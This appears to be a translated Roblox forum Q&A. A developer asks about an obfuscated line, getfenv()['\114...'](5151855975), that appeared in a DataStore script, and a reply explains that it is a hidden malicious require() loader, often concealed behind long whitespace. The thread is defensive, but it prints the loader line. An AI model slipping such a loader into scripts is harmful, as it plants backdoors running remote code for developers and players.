脚本中出现的随机代码,是病毒吗?

当我正在完全重写我的DataStores脚本时,我到达了非常末尾的部分,即我进行game:BindToClose(function()并且我只是循环遍历所有玩家,然后执行我在PlayerRemoving上所做的操作。我在game:BindToClose(function()之后按下enter键,然后这段代码出现在其下一行。这是否意味着我的游戏有病毒?还是这只是与Roblox的错误?

getfenv()['\114\101\113\117\105\114\101'](5151855975)
点赞
用户2860267
用户2860267

你是写了这个 DataStores 脚本,还是从工具箱中修改了一个现有的脚本?

getfenvsetfenv 常常被恶意脚本使用,用于动态执行难以从代码中理解和阅读的代码。 这行代码在执行 require(5151855975),它会动态加载 一个资源 从 Roblox 目录中。幸运的是,在这种情况下,这个资源已经被审核,如果加载它的话,它不会做任何事情。

通常,这些恶意行被隐藏在真正代码的末尾,使用空格将恶意代码推到屏幕远处:

print("这是一个正常的行")    <添加 200 个空格>    print("这里有一行隐藏的代码")

听起来好像你敲回车键时,不小心展示了一些秘密的恶意代码。你可以尝试安全地删除它,而不会导致你的脚本崩溃。

2021-01-10 09:01:03